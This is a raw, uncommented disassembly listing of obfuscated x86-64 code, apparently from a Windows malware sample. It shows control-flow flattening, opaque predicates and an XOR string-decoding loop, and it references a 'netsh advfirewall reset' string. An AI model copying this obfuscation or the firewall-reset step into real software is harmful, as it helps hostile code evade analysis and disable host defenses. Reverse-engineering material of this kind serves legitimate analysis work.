sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x140]
lea rcx, str.netsh_advfirewall_reset
mov qword [rax], rcx
mov rax, qword [rbp + 0x130]
lea rcx, [rbp + 0x1a0]
mov qword [rax], rcx
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp ecx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0xde83a59c
cmovne r9d, r13d
test eax, r8d
mov eax, r9d
cmove eax, r13d
jmp 0x14002e101
cmp eax, 0xc7fab4d6
jg 0x14002d080
cmp eax, 0x842d75b8
je 0x14002e0a6
cmp eax, 0xaec169f1
jne 0x14002cf20
movzx ecx, byte [rbp + 0x127]
movzx eax, byte [rbp + 0xf0]
mov r8d, eax
xor r8b, cl
test al, al
mov eax, 0xde83a59c
cmovne eax, r14d
test cl, cl
mov ecx, 0xde83a59c
cmove eax, ecx
test r8b, r8b
cmovne eax, r14d
jmp 0x14002cf20
cmp eax, 0xe971b5c6
je 0x14002d0a0
cmp eax, 0xf1ce26f3
jne 0x14002cf20
mov eax, 0x842d75b8
jmp 0x14002cf20
cmp eax, 0xc7fab4d7
je 0x14002e0c1
cmp eax, 0xde83a59c
jne 0x14002cf20
mov eax, 0x32a17146
jmp 0x14002cf20
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002d150
cmp ecx, 0xe597bc97
je 0x14002d16d
cmp ecx, 0xfa42bebb
je 0x14002d17b
cmp ecx, 0x38980679
jne 0x14002d120
jmp 0x14002d187
cmp ecx, 0xbbb0bd52
je 0x14002d182
cmp ecx, 0xc1647419
jne 0x14002d120
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002d120
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002d120
mov ecx, 0x38980679
jmp 0x14002d120
mov ecx, r10d
jmp 0x14002d120
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d230
cmp ecx, 0xe597bc97
je 0x14002d24d
cmp ecx, 0xfa42bebb
je 0x14002d25b
cmp ecx, 0x38980679
jne 0x14002d200
jmp 0x14002d267
cmp ecx, 0xbbb0bd52
je 0x14002d262
cmp ecx, 0xc1647419
jne 0x14002d200
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002d200
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002d200
mov ecx, 0x38980679
jmp 0x14002d200
mov ecx, r10d
jmp 0x14002d200
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d300
cmp ecx, 0xe597bc97
je 0x14002d31d
cmp ecx, 0xfa42bebb
je 0x14002d32b
cmp ecx, 0x38980679
jne 0x14002d2d0
jmp 0x14002d337
cmp ecx, 0xbbb0bd52
je 0x14002d332
cmp ecx, 0xc1647419
jne 0x14002d2d0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002d2d0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002d2d0
mov ecx, 0x38980679
jmp 0x14002d2d0
mov ecx, r10d
jmp 0x14002d2d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d3d0
cmp ecx, 0xe597bc97
je 0x14002d3ed
cmp ecx, 0xfa42bebb
je 0x14002d3fb
cmp ecx, 0x38980679
jne 0x14002d3a0
jmp 0x14002d407
cmp ecx, 0xbbb0bd52
je 0x14002d402
cmp ecx, 0xc1647419
jne 0x14002d3a0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002d3a0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002d3a0
mov ecx, 0x38980679
jmp 0x14002d3a0
mov ecx, r10d
jmp 0x14002d3a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d4b0
cmp ecx, 0xe597bc97
je 0x14002d4cd
cmp ecx, 0xfa42bebb
je 0x14002d4db
cmp ecx, 0x38980679
jne 0x14002d480
jmp 0x14002d4e7
cmp ecx, 0xbbb0bd52
je 0x14002d4e2
cmp ecx, 0xc1647419
jne 0x14002d480
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002d480
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002d480
mov ecx, 0x38980679
jmp 0x14002d480
mov ecx, r10d
jmp 0x14002d480
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d550
cmp ecx, 0xe597bc97
je 0x14002d56d
cmp ecx, 0xfa42bebb
je 0x14002d57b
cmp ecx, 0x38980679
jne 0x14002d520
jmp 0x14002d587
cmp ecx, 0xbbb0bd52
je 0x14002d582
cmp ecx, 0xc1647419
jne 0x14002d520
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002d520
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002d520
mov ecx, 0x38980679
jmp 0x14002d520
mov ecx, r10d
jmp 0x14002d520
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x14002d5d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x20
mov byte [r8 + 0x10], cl
add r8, 0x11
mov qword [rbp + 0x190], r8
mov ecx, 0x6a88e764
nop
cmp ecx, 0x6a88e764
je 0x14002dfe7
cmp ecx, 0xf1d372ca
jne 0x14002d5d0
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d670
cmp ecx, 0xe597bc97
je 0x14002d68d
cmp ecx, 0xfa42bebb
je 0x14002d69b
cmp ecx, 0x38980679
jne 0x14002d640
jmp 0x14002d6a7
cmp ecx, 0xbbb0bd52
je 0x14002d6a2
cmp ecx, 0xc1647419
jne 0x14002d640
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002d640
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002d640
mov ecx, 0x38980679
jmp 0x14002d640
mov ecx, r10d
jmp 0x14002d640
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d740
cmp ecx, 0xe597bc97
je 0x14002d75d
cmp ecx, 0xfa42bebb
je 0x14002d76b
cmp ecx, 0x38980679
jne 0x14002d710
jmp 0x14002d777
cmp ecx, 0xbbb0bd52
je 0x14002d772
cmp ecx, 0xc1647419
jne 0x14002d710
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002d710
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002d710
mov ecx, 0x38980679
jmp 0x14002d710
mov ecx, r10d
jmp 0x14002d710
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
sete r9b
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, r9b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002d820
cmp ecx, 0xe597bc97
je 0x14002d83d
cmp ecx, 0xfa42bebb
je 0x14002d84b
cmp ecx, 0x38980679
jne 0x14002d7f0
jmp 0x14002d857
cmp ecx, 0xbbb0bd52
je 0x14002d852
cmp ecx, 0xc1647419
jne 0x14002d7f0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002d7f0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002d7f0
mov ecx, 0x38980679
jmp 0x14002d7f0
mov ecx, r10d
jmp 0x14002d7f0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d8f0
cmp ecx, 0xe597bc97
je 0x14002d90d
cmp ecx, 0xfa42bebb
je 0x14002d91b
cmp ecx, 0x38980679
jne 0x14002d8c0
jmp 0x14002d927
cmp ecx, 0xbbb0bd52
je 0x14002d922
cmp ecx, 0xc1647419
jne 0x14002d8c0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002d8c0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002d8c0
mov ecx, 0x38980679
jmp 0x14002d8c0
mov ecx, r10d
jmp 0x14002d8c0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002d980
cmp ecx, 0xe597bc97
je 0x14002d99d
cmp ecx, 0xfa42bebb
je 0x14002d9ab
cmp ecx, 0x38980679
jne 0x14002d950
jmp 0x14002d9b7
cmp ecx, 0xbbb0bd52
je 0x14002d9b2
cmp ecx, 0xc1647419
jne 0x14002d950
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002d950
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002d950
mov ecx, 0x38980679
jmp 0x14002d950
mov ecx, r10d
jmp 0x14002d950
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002da10
cmp ecx, 0xe597bc97
je 0x14002da2d
cmp ecx, 0xfa42bebb
je 0x14002da3b
cmp ecx, 0x38980679
jne 0x14002d9e0
jmp 0x14002da47
cmp ecx, 0xbbb0bd52
je 0x14002da42
cmp ecx, 0xc1647419
jne 0x14002d9e0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002d9e0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002d9e0
mov ecx, 0x38980679
jmp 0x14002d9e0
mov ecx, r10d
jmp 0x14002d9e0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002daa0
cmp ecx, 0xe597bc97
je 0x14002dabd
cmp ecx, 0xfa42bebb
je 0x14002dacb
cmp ecx, 0x38980679
jne 0x14002da70
jmp 0x14002dad7
cmp ecx, 0xbbb0bd52
je 0x14002dad2
cmp ecx, 0xc1647419
jne 0x14002da70
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002da70
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002da70
mov ecx, 0x38980679
jmp 0x14002da70
mov ecx, r10d
jmp 0x14002da70
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002db30
cmp ecx, 0xe597bc97
je 0x14002db4d
cmp ecx, 0xfa42bebb
je 0x14002db5b
cmp ecx, 0x38980679
jne 0x14002db00
jmp 0x14002db67
cmp ecx, 0xbbb0bd52
je 0x14002db62
cmp ecx, 0xc1647419
jne 0x14002db00
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002db00
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002db00
mov ecx, 0x38980679
jmp 0x14002db00
mov ecx, r10d
jmp 0x14002db00
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002dbc0
cmp ecx, 0xe597bc97
je 0x14002dbdd
cmp ecx, 0xfa42bebb
je 0x14002dbeb
cmp ecx, 0x38980679
jne 0x14002db90
jmp 0x14002dbf7
cmp ecx, 0xbbb0bd52
je 0x14002dbf2
cmp ecx, 0xc1647419
jne 0x14002db90
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002db90
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002db90
mov ecx, 0x38980679
jmp 0x14002db90
mov ecx, r10d
jmp 0x14002db90
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002dc50
cmp ecx, 0xe597bc97
je 0x14002dc6d
cmp ecx, 0xfa42bebb
je 0x14002dc7b
cmp ecx, 0x38980679
jne 0x14002dc20
jmp 0x14002dc87
cmp ecx, 0xbbb0bd52
je 0x14002dc82
cmp ecx, 0xc1647419
jne 0x14002dc20
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002dc20
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002dc20
mov ecx, 0x38980679
jmp 0x14002dc20
mov ecx, r10d
jmp 0x14002dc20
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002dce0
cmp ecx, 0xe597bc97
je 0x14002dcfd
cmp ecx, 0xfa42bebb
je 0x14002dd0b
cmp ecx, 0x38980679
jne 0x14002dcb0
jmp 0x14002dd17
cmp ecx, 0xbbb0bd52
je 0x14002dd12
cmp ecx, 0xc1647419
jne 0x14002dcb0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002dcb0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002dcb0
mov ecx, 0x38980679
jmp 0x14002dcb0
mov ecx, r10d
jmp 0x14002dcb0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002dd70
cmp ecx, 0xe597bc97
je 0x14002dd8d
cmp ecx, 0xfa42bebb
je 0x14002dd9b
cmp ecx, 0x38980679
jne 0x14002dd40
jmp 0x14002dda7
cmp ecx, 0xbbb0bd52
je 0x14002dda2
cmp ecx, 0xc1647419
jne 0x14002dd40
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002dd40
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002dd40
mov ecx, 0x38980679
jmp 0x14002dd40
mov ecx, r10d
jmp 0x14002dd40
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002de00
cmp ecx, 0xe597bc97
je 0x14002de1d
cmp ecx, 0xfa42bebb
je 0x14002de2b
cmp ecx, 0x38980679
jne 0x14002ddd0
jmp 0x14002de37
cmp ecx, 0xbbb0bd52
je 0x14002de32
cmp ecx, 0xc1647419
jne 0x14002ddd0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002ddd0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002ddd0
mov ecx, 0x38980679
jmp 0x14002ddd0
mov ecx, r10d
jmp 0x14002ddd0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002de90
cmp ecx, 0xe597bc97
je 0x14002dead
cmp ecx, 0xfa42bebb
je 0x14002debb
cmp ecx, 0x38980679
jne 0x14002de60
jmp 0x14002dec7
cmp ecx, 0xbbb0bd52
je 0x14002dec2
cmp ecx, 0xc1647419
jne 0x14002de60
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002de60
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002de60
mov ecx, 0x38980679
jmp 0x14002de60
mov ecx, r10d
jmp 0x14002de60
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1e
mov byte [r8 + 0xe], cl
movzx ecx, byte [rax + 0x14]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002df20
cmp ecx, 0xe597bc97
je 0x14002df3d
cmp ecx, 0xfa42bebb
je 0x14002df4b
cmp ecx, 0x38980679
jne 0x14002def0
jmp 0x14002df57
cmp ecx, 0xbbb0bd52
je 0x14002df52
cmp ecx, 0xc1647419
jne 0x14002def0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002def0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002def0
mov ecx, 0x38980679
jmp 0x14002def0
mov ecx, r10d
jmp 0x14002def0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1f
mov byte [r8 + 0xf], cl
movzx ecx, byte [rax + 0x15]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002dfb0
cmp ecx, 0xe597bc97
je 0x14002dfcd
cmp ecx, 0xfa42bebb
je 0x14002dfdb
cmp ecx, 0x38980679
jne 0x14002df80
jmp 0x14002d5a9
cmp ecx, 0xbbb0bd52
je 0x14002dfe2
cmp ecx, 0xc1647419
jne 0x14002df80
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x14002df80
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002df80
mov ecx, 0x38980679
jmp 0x14002df80
mov ecx, r10d
jmp 0x14002df80
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402b5e1c], 0xa
setge cl
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e070
cmp ecx, 0xe597bc97
je 0x14002e08c
cmp ecx, 0xfa42bebb
je 0x14002e09a
cmp ecx, 0x38980679
jne 0x14002e040
jmp 0x14002ce9c
cmp ecx, 0xbbb0bd52
je 0x14002e0a1
cmp ecx, 0xc1647419
jne 0x14002e040
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x14002e040
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x14002e040
mov ecx, 0x38980679
jmp 0x14002e040
mov ecx, r8d
jmp 0x14002e040
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp + 0x138], rax
mov eax, 0xc7fab4d7
jmp 0x14002cf20
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete al
cmp ecx, 0xa
setl r9b
xor r9b, al
mov r9d, 0x2e8c7756
cmovne r9d, esi
cmp r8d, 0xffffffff
mov eax, r9d
cmove eax, esi
cmp ecx, 0xa
cmovge eax, r9d
jmp 0x14002cf20
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002e1b0
cmp ecx, 0xe597bc97
je 0x14002e1cd
cmp ecx, 0xfa42bebb
je 0x14002e1db
cmp ecx, 0x38980679
jne 0x14002e180
jmp 0x14002e1e7
cmp ecx, 0xbbb0bd52
je 0x14002e1e2
cmp ecx, 0xc1647419
jne 0x14002e180
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002e180
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002e180
mov ecx, 0x38980679
jmp 0x14002e180
mov ecx, r10d
jmp 0x14002e180
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x14002e290
cmp ecx, 0xe597bc97
je 0x14002e2ad
cmp ecx, 0xfa42bebb
je 0x14002e2bb
cmp ecx, 0x38980679
jne 0x14002e260
jmp 0x14002e2c7
cmp ecx, 0xbbb0bd52
je 0x14002e2c2
cmp ecx, 0xc1647419
jne 0x14002e260
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002e260
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002e260
mov ecx, 0x38980679
jmp 0x14002e260
mov ecx, r10d
jmp 0x14002e260
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x14002e360
cmp ecx, 0xe597bc97
je 0x14002e37d
cmp ecx, 0xfa42bebb
je 0x14002e38b
cmp ecx, 0x38980679
jne 0x14002e330
jmp 0x14002e397
cmp ecx, 0xbbb0bd52
je 0x14002e392
cmp ecx, 0xc1647419
jne 0x14002e330
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x14002e330
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x14002e330
mov ecx, 0x38980679
jmp 0x14002e330
mov ecx, r10d
jmp 0x14002e330
